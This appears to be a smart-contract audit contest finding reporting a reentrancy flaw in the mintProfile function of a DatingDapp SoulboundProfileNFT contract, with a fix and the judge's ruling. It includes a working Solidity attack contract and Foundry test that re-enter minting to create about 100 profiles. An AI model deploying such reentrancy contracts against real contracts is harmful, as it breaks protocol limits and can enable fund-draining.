DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Re-entrancy on SoulboundProfileNFT - mintProfile()

Summary

A smart contract reentrancy attack is a vulnerability in blockchain-based smart contracts that allows an attacker to repeatedly call a function before the previous execution is complete. This can lead to unintended behaviour, such as draining funds from a contract.

Vulnerability Details

The mintProfile function of the SoulboundProfileNFT calls _safeMintbefore updating the status (not following CEI).

It is possible to create a malicious contract that calls this function and implements the onERC721Receivedfunction to then call the _safeMintagain and again.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}

Impact

This allows to mint several SoulboundProfileNFTs, even though the protocol expects that one address can only mint one NFT.

The following contract can be used to perform the attack.

pragma solidity ^0.8.19;
import "../src/SoulboundProfileNFT.sol";
contract AttackSoulboundProfileNFT {
SoulboundProfileNFT soulboundProfileNFT;
address payable public owner;
uint256 private count;
constructor(address _contractAddress){
soulboundProfileNFT = SoulboundProfileNFT(_contractAddress);
owner = payable(msg.sender);
}
function attack() external {
soulboundProfileNFT.mintProfile("AttackSoulboundProfileNFT", 20, "ipfs://profileImage");
count += 1;
}
function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4 retval) {
require(msg.sender == address(soulboundProfileNFT), "can't sorry");
count += 1;
if(count < 101){
soulboundProfileNFT.mintProfile("AttackSoulboundProfileNFT", 20, "ipfs://profileImage");
}
return AttackSoulboundProfileNFT.onERC721Received.selector;
}
receive() payable external {}
}

The following test was added to the test suite to confirm the issue.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "./AttackSoulboundProfileNFT.sol";
contract SoulboundProfileNFTTest is Test {
SoulboundProfileNFT soulboundNFT;
address user = address(0x123);
address user2 = address(0x456);
address owner = address(this);
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
}
function testReentrancy() public {
AttackSoulboundProfileNFT attackSoulboundProfileNFT = new AttackSoulboundProfileNFT(address(soulboundNFT));
attackSoulboundProfileNFT.attack();
assert(soulboundNFT.balanceOf(address(attackSoulboundProfileNFT)) >= 100);
}
}

Tools Used

Foundry

Recommendations

Perform the update of the profileToTokenbefore calling _safeMint. Alternatevely, use ReentrancyGuard from OpenZeppelin.

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.